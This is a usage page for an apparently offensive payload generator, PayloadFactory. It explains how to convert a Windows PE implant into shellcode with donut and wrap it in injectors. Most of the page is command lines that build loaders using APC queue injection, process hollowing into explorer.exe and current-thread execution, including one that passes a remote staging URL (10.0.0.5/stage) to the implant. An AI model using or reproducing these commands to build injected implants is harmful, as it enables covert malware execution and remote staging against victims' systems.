PE to Shellcode

Instead of supplying raw shellcode, you can hand PayloadFactory a Windows PE executable and let it convert to shellcode with the bundled donut binary. This is the -e/--exe input mode.

Basic usage

python main.py queue_apc -e implant.exe -o qapc.exe

implant.exe is converted to shellcode by donut, then injected with the queue_apc technique.

Passing arguments to the PE

donut supports embedding arguments that the converted PE will run with. Pass them through --args:

python main.py queue_apc -e implant.exe --args "http://10.0.0.5/stage" -o qapc.exe

Compression

donut compresses the PE by default. Disable it with -nc:

python main.py process_hollow -e implant.exe -nc -p explorer.exe -o hollow.exe

Architecture

donut is called with --arch:amd64 for -x64 targets and --arch:x86 for -x86 targets, matching the architecture you select globally:

# 32-bit PE shellcode, injected with current_thread
python main.py -x86 current_thread -e implant32.exe -o p32.exe

When to use -e vs -s

• Use -s/--shell when you already have a ready .bin/.hex/.raw shellcode blob or an object file to disassemble.
• Use -e/--exe when you have a compiled Windows PE (a .NET/MSVC binary, another payload, etc.) and want it wrapped and injected.

Both modes produce the same downstream pipeline — the only difference is how the shellcode bytes are obtained.